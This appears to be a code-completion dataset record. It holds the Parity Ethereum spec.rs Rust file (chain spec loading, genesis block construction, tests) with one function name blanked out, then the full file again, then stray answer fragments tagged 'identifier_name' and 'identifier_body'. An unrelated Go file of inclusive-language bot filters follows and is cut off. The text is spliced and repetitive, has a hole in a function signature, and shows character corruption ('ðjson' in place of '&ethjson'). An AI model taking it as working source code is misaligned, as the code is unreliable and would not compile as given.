pub data_dir: String,
/// Known nodes on the network in enode format.
pub nodes: Vec<String>,
/// The genesis block's parent hash field.
pub parent_hash: H256,
/// The genesis block's author field.
pub author: Address,
/// The genesis block's difficulty field.
pub difficulty: U256,
/// The genesis block's gas limit field.
pub gas_limit: U256,
/// The genesis block's gas used field.
pub gas_used: U256,
/// The genesis block's timestamp field.
pub timestamp: u64,
/// Transactions root of the genesis block. Should be KECCAK_NULL_RLP.
pub transactions_root: H256,
/// Receipts root of the genesis block. Should be KECCAK_NULL_RLP.
pub receipts_root: H256,
/// The genesis block's extra data field.
pub extra_data: Bytes,
/// Each seal field, expressed as RLP, concatenated.
pub seal_rlp: Bytes,
/// Hardcoded synchronization. Allows the light client to immediately jump to a specific block.
pub hardcoded_sync: Option<SpecHardcodedSync>,
/// Contract constructors to be executed on genesis.
pub constructors: Vec<(Address, Bytes)>,
/// May be prepopulated if we know this in advance.
pub state_root: H256,
/// Genesis state as plain old data.
pub genesis_state: PodState,
}
/// Part of `Spec`. Describes the hardcoded synchronization parameters.
pub struct SpecHardcodedSync {
/// Header of the block to jump to for hardcoded sync, and total difficulty.
pub header: encoded::Header,
/// Total difficulty of the block to jump to.
pub total_difficulty: U256,
/// List of hardcoded CHTs, in order. If `hardcoded_sync` is set, the CHTs should include the
/// header of `hardcoded_sync`.
pub chts: Vec<H256>,
}
impl From<ethjson::spec::HardcodedSync> for SpecHardcodedSync {
fn from(sync: ethjson::spec::HardcodedSync) -> Self {
SpecHardcodedSync {
header: encoded::Header::new(sync.header.into()),
total_difficulty: sync.total_difficulty.into(),
chts: sync.chts.into_iter().map(Into::into).collect(),
}
}
}
impl fmt::Display for SpecHardcodedSync {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
writeln!(f, "{{")?;
writeln!(f, r#"header": "{:?},"#, self.header)?;
writeln!(f, r#"total_difficulty": "{:?},"#, self.total_difficulty)?;
writeln!(f, r#"chts": {:#?}"#, self.chts.iter().map(|x| format!(r#"{}"#, x)).collect::<Vec<_>>())?;
writeln!(f, "}}")
}
}
/// Load from JSON object.
fn load_from(spec_params: SpecParams, s: ethjson::spec::Spec) -> Result<Spec, Error> {
let builtins = s.accounts
.builtins()
.into_iter()
.map(|p| (p.0.into(), From::from(p.1)))
.collect();
let g = Genesis::from(s.genesis);
let GenericSeal(seal_rlp) = g.seal.into();
let params = CommonParams::from(s.params);
let hardcoded_sync = s.hardcoded_sync.map(Into::into);
let engine = Spec::engine(spec_params, s.engine, params, builtins);
let author = g.author;
let timestamp = g.timestamp;
let difficulty = g.difficulty;
let constructors: Vec<_> = s.accounts
.constructors()
.into_iter()
.map(|(a, c)| (a.into(), c.into()))
.collect();
let genesis_state: PodState = s.accounts.into();
let (state_root, _) = run_constructors(
&genesis_state,
&constructors,
&*engine,
author,
timestamp,
difficulty,
&Default::default(),
BasicBackend(journaldb::new_memory_db()),
)?;
let s = Spec {
engine,
name: s.name.clone().into(),
data_dir: s.data_dir.unwrap_or(s.name).into(),
nodes: s.nodes.unwrap_or_else(Vec::new),
parent_hash: g.parent_hash,
transactions_root: g.transactions_root,
receipts_root: g.receipts_root,
author,
difficulty,
gas_limit: g.gas_limit,
gas_used: g.gas_used,
timestamp,
extra_data: g.extra_data,
seal_rlp,
hardcoded_sync,
constructors,
genesis_state,
state_root,
};
Ok(s)
}
impl Spec {
// create an instance of an Ethereum state machine, minus consensus logic.
fn machine(
engine_spec: ðjson::spec::Engine,
params: CommonParams,
builtins: BTreeMap<Address, Builtin>,
) -> Machine {
if let ethjson::spec::Engine::Ethash(ref ethash) = *engine_spec {
Machine::with_ethash_extensions(params, builtins, ethash.params.clone().into())
} else {
Machine::regular(params, builtins)
}
}
/// Convert engine spec into a arc'd Engine of the right underlying type.
/// TODO avoid this hard-coded nastiness - use dynamic-linked plugin framework instead.
fn | (
spec_params: SpecParams,
engine_spec: ethjson::spec::Engine,
params: CommonParams,
builtins: BTreeMap<Address, Builtin>,
) -> Arc<dyn Engine> {
let machine = Self::machine(&engine_spec, params, builtins);
match engine_spec {
ethjson::spec::Engine::Null(null) => Arc::new(NullEngine::new(null.params.into(), machine)),
ethjson::spec::Engine::Ethash(ethash) => Arc::new(Ethash::new(spec_params.cache_dir, ethash.params.into(), machine, spec_params.optimization_setting)),
ethjson::spec::Engine::InstantSeal(Some(instant_seal)) => Arc::new(InstantSeal::new(instant_seal.params.into(), machine)),
ethjson::spec::Engine::InstantSeal(None) => Arc::new(InstantSeal::new(InstantSealParams::default(), machine)),
ethjson::spec::Engine::BasicAuthority(basic_authority) => Arc::new(BasicAuthority::new(basic_authority.params.into(), machine)),
ethjson::spec::Engine::Clique(clique) => Clique::new(clique.params.into(), machine)
.expect("Failed to start Clique consensus engine."),
ethjson::spec::Engine::AuthorityRound(authority_round) => AuthorityRound::new(authority_round.params.into(), machine)
.expect("Failed to start AuthorityRound consensus engine."),
}
}
/// Get common blockchain parameters.
pub fn params(&self) -> &CommonParams {
&self.engine.params()
}
/// Get the configured Network ID.
pub fn network_id(&self) -> u64 {
self.params().network_id
}
/// Get the chain ID used for signing.
pub fn chain_id(&self) -> u64 {
self.params().chain_id
}
/// Get the configured subprotocol name.
pub fn subprotocol_name(&self) -> String {
self.params().subprotocol_name.clone()
}
/// Get the configured network fork block.
pub fn fork_block(&self) -> Option<(BlockNumber, H256)> {
self.params().fork_block
}
/// Get the header of the genesis block.
pub fn genesis_header(&self) -> Header {
let mut header: Header = Default::default();
header.set_parent_hash(self.parent_hash.clone());
header.set_timestamp(self.timestamp);
header.set_number(0);
header.set_author(self.author.clone());
header.set_transactions_root(self.transactions_root.clone());
header.set_uncles_hash(keccak(RlpStream::new_list(0).out()));
header.set_extra_data(self.extra_data.clone());
header.set_state_root(self.state_root);
header.set_receipts_root(self.receipts_root.clone());
header.set_log_bloom(Bloom::default());
header.set_gas_used(self.gas_used.clone());
header.set_gas_limit(self.gas_limit.clone());
header.set_difficulty(self.difficulty.clone());
header.set_seal({
let r = Rlp::new(&self.seal_rlp);
r.iter().map(|f| f.as_raw().to_vec()).collect()
});
trace!(target: "spec", "Header hash is {}", header.hash());
header
}
/// Compose the genesis block for this chain.
pub fn genesis_block(&self) -> Bytes {
let empty_list = RlpStream::new_list(0).out();
let header = self.genesis_header();
let mut ret = RlpStream::new_list(3);
ret.append(&header);
ret.append_raw(&empty_list, 1);
ret.append_raw(&empty_list, 1);
ret.out()
}
/// Overwrite the genesis components.
pub fn overwrite_genesis_params(&mut self, g: Genesis) {
let GenericSeal(seal_rlp) = g.seal.into();
self.parent_hash = g.parent_hash;
self.transactions_root = g.transactions_root;
self.receipts_root = g.receipts_root;
self.author = g.author;
self.difficulty = g.difficulty;
self.gas_limit = g.gas_limit;
self.gas_used = g.gas_used;
self.timestamp = g.timestamp;
self.extra_data = g.extra_data;
self.seal_rlp = seal_rlp;
}
/// Alter the value of the genesis state.
pub fn set_genesis_state(&mut self, s: PodState) -> Result<(), Error> {
self.genesis_state = s;
let (root, _) = run_constructors(
&self.genesis_state,
&self.constructors,
&*self.engine,
self.author,
self.timestamp,
self.difficulty,
&Default::default(),
BasicBackend(journaldb::new_memory_db()),
)?;
self.state_root = root;
Ok(())
}
/// Ensure that the given state DB has the trie nodes in for the genesis state.
pub fn ensure_db_good<T: Backend>(&self, db: T, factories: &Factories) -> Result<T, Error> {
if db.as_hash_db().contains(&self.state_root, hash_db::EMPTY_PREFIX) {
return Ok(db);
}
// TODO: could optimize so we don't re-run, but `ensure_db_good` is barely ever
// called anyway.
let (root, db) = run_constructors(
&self.genesis_state,
&self.constructors,
&*self.engine,
self.author,
self.timestamp,
self.difficulty,
factories,
db
)?;
assert_eq!(root, self.state_root, "Spec's state root has not been precomputed correctly.");
Ok(db)
}
/// Loads just the state machine from a json file.
pub fn load_machine<R: Read>(reader: R) -> Result<Machine, Error> {
ethjson::spec::Spec::load(reader)
.map_err(|e| Error::Msg(e.to_string()))
.map(|s| {
let builtins = s.accounts.builtins().into_iter().map(|p| (p.0.into(), From::from(p.1))).collect();
let params = CommonParams::from(s.params);
Spec::machine(&s.engine, params, builtins)
})
}
/// Loads spec from json file. Provide factories for executing contracts and ensuring
/// storage goes to the right place.
pub fn load<'a, T: Into<SpecParams<'a>>, R: Read>(params: T, reader: R) -> Result<Self, Error> {
ethjson::spec::Spec::load(reader)
.map_err(|e| Error::Msg(e.to_string()))
.and_then(|x| load_from(params.into(), x))
}
/// initialize genesis epoch data, using in-memory database for
/// constructor.
pub fn genesis_epoch_data(&self) -> Result<Vec<u8>, String> {
let genesis = self.genesis_header();
let factories = Default::default();
let mut db = journaldb::new(
Arc::new(kvdb_memorydb::create(0)),
journaldb::Algorithm::Archive,
None,
);
self.ensure_db_good(BasicBackend(db.as_hash_db_mut()), &factories)
.map_err(|e| format!("Unable to initialize genesis state: {}", e))?;
let call = |a, d| {
let mut db = db.boxed_clone();
let env_info = evm::EnvInfo {
number: 0,
author: *genesis.author(),
timestamp: genesis.timestamp(),
difficulty: *genesis.difficulty(),
gas_limit: U256::max_value(),
last_hashes: Arc::new(Vec::new()),
gas_used: 0.into(),
};
let from = Address::zero();
let tx = Transaction {
nonce: self.engine.account_start_nonce(0),
action: Action::Call(a),
gas: U256::max_value(),
gas_price: U256::default(),
value: U256::default(),
data: d,
}.fake_sign(from);
let res = executive_state::prove_transaction_virtual(
db.as_hash_db_mut(),
*genesis.state_root(),
&tx,
self.engine.machine(),
&env_info,
factories.clone(),
);
res.map(|(out, proof)| {
(out, proof.into_iter().map(|x| x.into_vec()).collect())
}).ok_or_else(|| "Failed to prove call: insufficient state".into())
};
self.engine.genesis_epoch_data(&genesis, &call)
}
}
#[cfg(test)]
mod tests {
use std::str::FromStr;
use account_state::State;
use common_types::{view, views::BlockView};
use ethereum_types::{Address, H256};
use ethcore::test_helpers::get_temp_state_db;
use tempdir::TempDir;
use super::Spec;
#[test]
fn test_load_empty() {
let tempdir = TempDir::new("").unwrap();
assert!(Spec::load(&tempdir.path(), &[] as &[u8]).is_err());
}
#[test]
fn test_chain() {
let test_spec = crate::new_test();
assert_eq!(
test_spec.state_root,
H256::from_str("f3f4696bbf3b3b07775128eb7a3763279a394e382130f27c21e70233e04946a9").unwrap()
);
let genesis = test_spec.genesis_block();
assert_eq!(
view!(BlockView, &genesis).header_view().hash(),
H256::from_str("0cd786a2425d16f152c658316c423e6ce1181e15c3295826d7c9904cba9ce303").unwrap()
);
}
#[test]
fn genesis_constructor() {
let _ = ::env_logger::try_init();
let spec = crate::new_test_constructor();
let db = spec.ensure_db_good(get_temp_state_db(), &Default::default())
.unwrap();
let state = State::from_existing(
db.boxed_clone(),
spec.state_root,
spec.engine.account_start_nonce(0),
Default::default(),
).unwrap();
let expected = H256::from_str("0000000000000000000000000000000000000000000000000000000000000001").unwrap();
let address = Address::from_str("0000000000000000000000000000000000001337").unwrap();
assert_eq!(state.storage_at(&address, &H256::zero()).unwrap(), expected);
assert_eq!(state.balance(&address).unwrap(), 1.into());
}
}
| engine | identifier_name |
spec.rs | // Copyright 2015-2019 Parity Technologies (UK) Ltd.
// This file is part of Parity Ethereum.
// Parity Ethereum is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Parity Ethereum is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Parity Ethereum. If not, see <http://www.gnu.org/licenses/>.
//! Parameters for a block chain.
use std::{
collections::BTreeMap,
fmt,
io::Read,
path::Path,
sync::Arc,
};
use common_types::{
BlockNumber,
header::Header,
encoded,
engines::{OptimizeFor, params::CommonParams},
errors::EthcoreError as Error,
transaction::{Action, Transaction},
};
use account_state::{Backend, State, backend::Basic as BasicBackend};
use authority_round::AuthorityRound;
use basic_authority::BasicAuthority;
use bytes::Bytes;
use builtin::Builtin;
use clique::Clique;
use engine::Engine;
use ethash_engine::Ethash;
use ethereum_types::{H256, Bloom, U256, Address};
use ethjson;
use instant_seal::{InstantSeal, InstantSealParams};
use keccak_hash::{KECCAK_NULL_RLP, keccak};
use log::{trace, warn};
use machine::{executive::Executive, Machine, substate::Substate};
use null_engine::NullEngine;
use pod::PodState;
use rlp::{Rlp, RlpStream};
use trace::{NoopTracer, NoopVMTracer};
use trie_vm_factories::Factories;
use vm::{EnvInfo, CallType, ActionValue, ActionParams, ParamsType};
use crate::{
Genesis,
seal::Generic as GenericSeal,
};
/// Runtime parameters for the spec that are related to how the software should run the chain,
/// rather than integral properties of the chain itself.
pub struct SpecParams<'a> {
/// The path to the folder used to cache nodes. This is typically /tmp/ on Unix-like systems
pub cache_dir: &'a Path,
/// Whether to run slower at the expense of better memory usage, or run faster while using
/// more
/// memory. This may get more fine-grained in the future but for now is simply a binary
/// option.
pub optimization_setting: Option<OptimizeFor>,
}
impl<'a> SpecParams<'a> {
/// Create from a cache path, with null values for the other fields
pub fn from_path(path: &'a Path) -> Self {
SpecParams {
cache_dir: path,
optimization_setting: None,
}
}
/// Create from a cache path and an optimization setting
pub fn new(path: &'a Path, optimization: OptimizeFor) -> Self |
}
impl<'a, T: AsRef<Path>> From<&'a T> for SpecParams<'a> {
fn from(path: &'a T) -> Self {
Self::from_path(path.as_ref())
}
}
/// given a pre-constructor state, run all the given constructors and produce a new state and
/// state root.
fn run_constructors<T: Backend>(
genesis_state: &PodState,
constructors: &[(Address, Bytes)],
engine: &dyn Engine,
author: Address,
timestamp: u64,
difficulty: U256,
factories: &Factories,
mut db: T
) -> Result<(H256, T), Error> {
let mut root = KECCAK_NULL_RLP;
// basic accounts in spec.
{
let mut t = factories.trie.create(db.as_hash_db_mut(), &mut root);
for (address, account) in genesis_state.get().iter() {
t.insert(address.as_bytes(), &account.rlp())?;
}
}
for (address, account) in genesis_state.get().iter() {
db.note_non_null_account(address);
account.insert_additional(
&mut *factories.accountdb.create(
db.as_hash_db_mut(),
keccak(address),
),
&factories.trie,
);
}
let start_nonce = engine.account_start_nonce(0);
let mut state = State::from_existing(db, root, start_nonce, factories.clone())?;
// Execute contract constructors.
let env_info = EnvInfo {
number: 0,
author,
timestamp,
difficulty,
last_hashes: Default::default(),
gas_used: U256::zero(),
gas_limit: U256::max_value(),
};
let from = Address::zero();
for &(ref address, ref constructor) in constructors.iter() {
trace!(target: "spec", "run_constructors: Creating a contract at {}.", address);
trace!(target: "spec", " .. root before = {}", state.root());
let params = ActionParams {
code_address: address.clone(),
code_hash: Some(keccak(constructor)),
code_version: U256::zero(),
address: address.clone(),
sender: from.clone(),
origin: from.clone(),
gas: U256::max_value(),
gas_price: Default::default(),
value: ActionValue::Transfer(Default::default()),
code: Some(Arc::new(constructor.clone())),
data: None,
call_type: CallType::None,
params_type: ParamsType::Embedded,
};
let mut substate = Substate::new();
{
let machine = engine.machine();
let schedule = machine.schedule(env_info.number);
let mut exec = Executive::new(&mut state, &env_info, &machine, &schedule);
// failing create is not a bug
if let Err(e) = exec.create(params, &mut substate, &mut NoopTracer, &mut NoopVMTracer) {
warn!(target: "spec", "Genesis constructor execution at {} failed: {}.", address, e);
}
}
let _ = state.commit()?;
}
Ok(state.drop())
}
/// Parameters for a block chain; includes both those intrinsic to the design of the
/// chain and those to be interpreted by the active chain engine.
pub struct Spec {
/// User friendly spec name.
pub name: String,
/// Engine specified by json file.
pub engine: Arc<dyn Engine>,
/// Name of the subdir inside the main data dir to use for chain data and settings.
pub data_dir: String,
/// Known nodes on the network in enode format.
pub nodes: Vec<String>,
/// The genesis block's parent hash field.
pub parent_hash: H256,
/// The genesis block's author field.
pub author: Address,
/// The genesis block's difficulty field.
pub difficulty: U256,
/// The genesis block's gas limit field.
pub gas_limit: U256,
/// The genesis block's gas used field.
pub gas_used: U256,
/// The genesis block's timestamp field.
pub timestamp: u64,
/// Transactions root of the genesis block. Should be KECCAK_NULL_RLP.
pub transactions_root: H256,
/// Receipts root of the genesis block. Should be KECCAK_NULL_RLP.
pub receipts_root: H256,
/// The genesis block's extra data field.
pub extra_data: Bytes,
/// Each seal field, expressed as RLP, concatenated.
pub seal_rlp: Bytes,
/// Hardcoded synchronization. Allows the light client to immediately jump to a specific block.
pub hardcoded_sync: Option<SpecHardcodedSync>,
/// Contract constructors to be executed on genesis.
pub constructors: Vec<(Address, Bytes)>,
/// May be prepopulated if we know this in advance.
pub state_root: H256,
/// Genesis state as plain old data.
pub genesis_state: PodState,
}
/// Part of `Spec`. Describes the hardcoded synchronization parameters.
pub struct SpecHardcodedSync {
/// Header of the block to jump to for hardcoded sync, and total difficulty.
pub header: encoded::Header,
/// Total difficulty of the block to jump to.
pub total_difficulty: U256,
/// List of hardcoded CHTs, in order. If `hardcoded_sync` is set, the CHTs should include the
/// header of `hardcoded_sync`.
pub chts: Vec<H256>,
}
impl From<ethjson::spec::HardcodedSync> for SpecHardcodedSync {
fn from(sync: ethjson::spec::HardcodedSync) -> Self {
SpecHardcodedSync {
header: encoded::Header::new(sync.header.into()),
total_difficulty: sync.total_difficulty.into(),
chts: sync.chts.into_iter().map(Into::into).collect(),
}
}
}
impl fmt::Display for SpecHardcodedSync {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
writeln!(f, "{{")?;
writeln!(f, r#"header": "{:?},"#, self.header)?;
writeln!(f, r#"total_difficulty": "{:?},"#, self.total_difficulty)?;
writeln!(f, r#"chts": {:#?}"#, self.chts.iter().map(|x| format!(r#"{}"#, x)).collect::<Vec<_>>())?;
writeln!(f, "}}")
}
}
/// Load from JSON object.
fn load_from(spec_params: SpecParams, s: ethjson::spec::Spec) -> Result<Spec, Error> {
let builtins = s.accounts
.builtins()
.into_iter()
.map(|p| (p.0.into(), From::from(p.1)))
.collect();
let g = Genesis::from(s.genesis);
let GenericSeal(seal_rlp) = g.seal.into();
let params = CommonParams::from(s.params);
let hardcoded_sync = s.hardcoded_sync.map(Into::into);
let engine = Spec::engine(spec_params, s.engine, params, builtins);
let author = g.author;
let timestamp = g.timestamp;
let difficulty = g.difficulty;
let constructors: Vec<_> = s.accounts
.constructors()
.into_iter()
.map(|(a, c)| (a.into(), c.into()))
.collect();
let genesis_state: PodState = s.accounts.into();
let (state_root, _) = run_constructors(
&genesis_state,
&constructors,
&*engine,
author,
timestamp,
difficulty,
&Default::default(),
BasicBackend(journaldb::new_memory_db()),
)?;
let s = Spec {
engine,
name: s.name.clone().into(),
data_dir: s.data_dir.unwrap_or(s.name).into(),
nodes: s.nodes.unwrap_or_else(Vec::new),
parent_hash: g.parent_hash,
transactions_root: g.transactions_root,
receipts_root: g.receipts_root,
author,
difficulty,
gas_limit: g.gas_limit,
gas_used: g.gas_used,
timestamp,
extra_data: g.extra_data,
seal_rlp,
hardcoded_sync,
constructors,
genesis_state,
state_root,
};
Ok(s)
}
impl Spec {
// create an instance of an Ethereum state machine, minus consensus logic.
fn machine(
engine_spec: ðjson::spec::Engine,
params: CommonParams,
builtins: BTreeMap<Address, Builtin>,
) -> Machine {
if let ethjson::spec::Engine::Ethash(ref ethash) = *engine_spec {
Machine::with_ethash_extensions(params, builtins, ethash.params.clone().into())
} else {
Machine::regular(params, builtins)
}
}
/// Convert engine spec into a arc'd Engine of the right underlying type.
/// TODO avoid this hard-coded nastiness - use dynamic-linked plugin framework instead.
fn engine(
spec_params: SpecParams,
engine_spec: ethjson::spec::Engine,
params: CommonParams,
builtins: BTreeMap<Address, Builtin>,
) -> Arc<dyn Engine> {
let machine = Self::machine(&engine_spec, params, builtins);
match engine_spec {
ethjson::spec::Engine::Null(null) => Arc::new(NullEngine::new(null.params.into(), machine)),
ethjson::spec::Engine::Ethash(ethash) => Arc::new(Ethash::new(spec_params.cache_dir, ethash.params.into(), machine, spec_params.optimization_setting)),
ethjson::spec::Engine::InstantSeal(Some(instant_seal)) => Arc::new(InstantSeal::new(instant_seal.params.into(), machine)),
ethjson::spec::Engine::InstantSeal(None) => Arc::new(InstantSeal::new(InstantSealParams::default(), machine)),
ethjson::spec::Engine::BasicAuthority(basic_authority) => Arc::new(BasicAuthority::new(basic_authority.params.into(), machine)),
ethjson::spec::Engine::Clique(clique) => Clique::new(clique.params.into(), machine)
.expect("Failed to start Clique consensus engine."),
ethjson::spec::Engine::AuthorityRound(authority_round) => AuthorityRound::new(authority_round.params.into(), machine)
.expect("Failed to start AuthorityRound consensus engine."),
}
}
/// Get common blockchain parameters.
pub fn params(&self) -> &CommonParams {
&self.engine.params()
}
/// Get the configured Network ID.
pub fn network_id(&self) -> u64 {
self.params().network_id
}
/// Get the chain ID used for signing.
pub fn chain_id(&self) -> u64 {
self.params().chain_id
}
/// Get the configured subprotocol name.
pub fn subprotocol_name(&self) -> String {
self.params().subprotocol_name.clone()
}
/// Get the configured network fork block.
pub fn fork_block(&self) -> Option<(BlockNumber, H256)> {
self.params().fork_block
}
/// Get the header of the genesis block.
pub fn genesis_header(&self) -> Header {
let mut header: Header = Default::default();
header.set_parent_hash(self.parent_hash.clone());
header.set_timestamp(self.timestamp);
header.set_number(0);
header.set_author(self.author.clone());
header.set_transactions_root(self.transactions_root.clone());
header.set_uncles_hash(keccak(RlpStream::new_list(0).out()));
header.set_extra_data(self.extra_data.clone());
header.set_state_root(self.state_root);
header.set_receipts_root(self.receipts_root.clone());
header.set_log_bloom(Bloom::default());
header.set_gas_used(self.gas_used.clone());
header.set_gas_limit(self.gas_limit.clone());
header.set_difficulty(self.difficulty.clone());
header.set_seal({
let r = Rlp::new(&self.seal_rlp);
r.iter().map(|f| f.as_raw().to_vec()).collect()
});
trace!(target: "spec", "Header hash is {}", header.hash());
header
}
/// Compose the genesis block for this chain.
pub fn genesis_block(&self) -> Bytes {
let empty_list = RlpStream::new_list(0).out();
let header = self.genesis_header();
let mut ret = RlpStream::new_list(3);
ret.append(&header);
ret.append_raw(&empty_list, 1);
ret.append_raw(&empty_list, 1);
ret.out()
}
/// Overwrite the genesis components.
pub fn overwrite_genesis_params(&mut self, g: Genesis) {
let GenericSeal(seal_rlp) = g.seal.into();
self.parent_hash = g.parent_hash;
self.transactions_root = g.transactions_root;
self.receipts_root = g.receipts_root;
self.author = g.author;
self.difficulty = g.difficulty;
self.gas_limit = g.gas_limit;
self.gas_used = g.gas_used;
self.timestamp = g.timestamp;
self.extra_data = g.extra_data;
self.seal_rlp = seal_rlp;
}
/// Alter the value of the genesis state.
pub fn set_genesis_state(&mut self, s: PodState) -> Result<(), Error> {
self.genesis_state = s;
let (root, _) = run_constructors(
&self.genesis_state,
&self.constructors,
&*self.engine,
self.author,
self.timestamp,
self.difficulty,
&Default::default(),
BasicBackend(journaldb::new_memory_db()),
)?;
self.state_root = root;
Ok(())
}
/// Ensure that the given state DB has the trie nodes in for the genesis state.
pub fn ensure_db_good<T: Backend>(&self, db: T, factories: &Factories) -> Result<T, Error> {
if db.as_hash_db().contains(&self.state_root, hash_db::EMPTY_PREFIX) {
return Ok(db);
}
// TODO: could optimize so we don't re-run, but `ensure_db_good` is barely ever
// called anyway.
let (root, db) = run_constructors(
&self.genesis_state,
&self.constructors,
&*self.engine,
self.author,
self.timestamp,
self.difficulty,
factories,
db
)?;
assert_eq!(root, self.state_root, "Spec's state root has not been precomputed correctly.");
Ok(db)
}
/// Loads just the state machine from a json file.
pub fn load_machine<R: Read>(reader: R) -> Result<Machine, Error> {
ethjson::spec::Spec::load(reader)
.map_err(|e| Error::Msg(e.to_string()))
.map(|s| {
let builtins = s.accounts.builtins().into_iter().map(|p| (p.0.into(), From::from(p.1))).collect();
let params = CommonParams::from(s.params);
Spec::machine(&s.engine, params, builtins)
})
}
/// Loads spec from json file. Provide factories for executing contracts and ensuring
/// storage goes to the right place.
pub fn load<'a, T: Into<SpecParams<'a>>, R: Read>(params: T, reader: R) -> Result<Self, Error> {
ethjson::spec::Spec::load(reader)
.map_err(|e| Error::Msg(e.to_string()))
.and_then(|x| load_from(params.into(), x))
}
/// initialize genesis epoch data, using in-memory database for
/// constructor.
pub fn genesis_epoch_data(&self) -> Result<Vec<u8>, String> {
let genesis = self.genesis_header();
let factories = Default::default();
let mut db = journaldb::new(
Arc::new(kvdb_memorydb::create(0)),
journaldb::Algorithm::Archive,
None,
);
self.ensure_db_good(BasicBackend(db.as_hash_db_mut()), &factories)
.map_err(|e| format!("Unable to initialize genesis state: {}", e))?;
let call = |a, d| {
let mut db = db.boxed_clone();
let env_info = evm::EnvInfo {
number: 0,
author: *genesis.author(),
timestamp: genesis.timestamp(),
difficulty: *genesis.difficulty(),
gas_limit: U256::max_value(),
last_hashes: Arc::new(Vec::new()),
gas_used: 0.into(),
};
let from = Address::zero();
let tx = Transaction {
nonce: self.engine.account_start_nonce(0),
action: Action::Call(a),
gas: U256::max_value(),
gas_price: U256::default(),
value: U256::default(),
data: d,
}.fake_sign(from);
let res = executive_state::prove_transaction_virtual(
db.as_hash_db_mut(),
*genesis.state_root(),
&tx,
self.engine.machine(),
&env_info,
factories.clone(),
);
res.map(|(out, proof)| {
(out, proof.into_iter().map(|x| x.into_vec()).collect())
}).ok_or_else(|| "Failed to prove call: insufficient state".into())
};
self.engine.genesis_epoch_data(&genesis, &call)
}
}
#[cfg(test)]
mod tests {
use std::str::FromStr;
use account_state::State;
use common_types::{view, views::BlockView};
use ethereum_types::{Address, H256};
use ethcore::test_helpers::get_temp_state_db;
use tempdir::TempDir;
use super::Spec;
#[test]
fn test_load_empty() {
let tempdir = TempDir::new("").unwrap();
assert!(Spec::load(&tempdir.path(), &[] as &[u8]).is_err());
}
#[test]
fn test_chain() {
let test_spec = crate::new_test();
assert_eq!(
test_spec.state_root,
H256::from_str("f3f4696bbf3b3b07775128eb7a3763279a394e382130f27c21e70233e04946a9").unwrap()
);
let genesis = test_spec.genesis_block();
assert_eq!(
view!(BlockView, &genesis).header_view().hash(),
H256::from_str("0cd786a2425d16f152c658316c423e6ce1181e15c3295826d7c9904cba9ce303").unwrap()
);
}
#[test]
fn genesis_constructor() {
let _ = ::env_logger::try_init();
let spec = crate::new_test_constructor();
let db = spec.ensure_db_good(get_temp_state_db(), &Default::default())
.unwrap();
let state = State::from_existing(
db.boxed_clone(),
spec.state_root,
spec.engine.account_start_nonce(0),
Default::default(),
).unwrap();
let expected = H256::from_str("0000000000000000000000000000000000000000000000000000000000000001").unwrap();
let address = Address::from_str("0000000000000000000000000000000000001337").unwrap();
assert_eq!(state.storage_at(&address, &H256::zero()).unwrap(), expected);
assert_eq!(state.balance(&address).unwrap(), 1.into());
}
}
| {
SpecParams {
cache_dir: path,
optimization_setting: Some(optimization),
}
} | identifier_body |
language.go | package inclusion
import (
"fmt"
"regexp"
"strings"
"unicode"
"golang.org/x/text/runes"
"golang.org/x/text/transform"
"golang.org/x/text/unicode/norm"
)
type InclusiveFilter struct {
Filter string // Supports regex
Reply string
regex *regexp.Regexp // do not fill. Just used for caching the regex once compiled.
}
var conductLinks = "\nIn case of doubts please check our <https://bcneng.org/coc|Code of Conduct> and/or our <https://bcneng.org/netiquette|Netiquette> "
var inclusiveFilters = []InclusiveFilter{
// When someone says, the bot replies (privately).
// English: Based on https://github.com/randsleadershipslack/documents-and-resources/blob/master/RandsInclusiveLanguage.tsv
{Filter: "you guys", Reply: "Instead of *guys*, perhaps you mean *pals*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "these guys", Reply: "Instead of *guys*, perhaps you mean *gang*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "my guys", Reply: "Instead of *guys*, perhaps you mean *crew*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "those guys", Reply: "Instead of *guys*, perhaps you mean *people*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "hey guys", Reply: "Instead of *guys*, perhaps you mean *y'all*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "hi guys", Reply: "Instead of *guys*, perhaps you mean *everyone*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "the guys", Reply: "Instead of *guys*, perhaps you mean *folks*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "guys", Reply: "Instead of *guys*, have you considered a more gender-neutral pronoun like *folks*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "CHWD", Reply: `Cisgender Hetero White Dude. But please consider using the full term "cisgender, heterosexual white man” or similar. That would both make it more approachable for those unfamiliar with this obscure initialism, and prevent reducing people down to initialisms.`},
{Filter: "URP", Reply: `Underrepresented person(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URPs", Reply: `Underrepresented person(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URM", Reply: `Underrepresented minorit(y|ies). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URG", Reply: `Underrepresented group(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
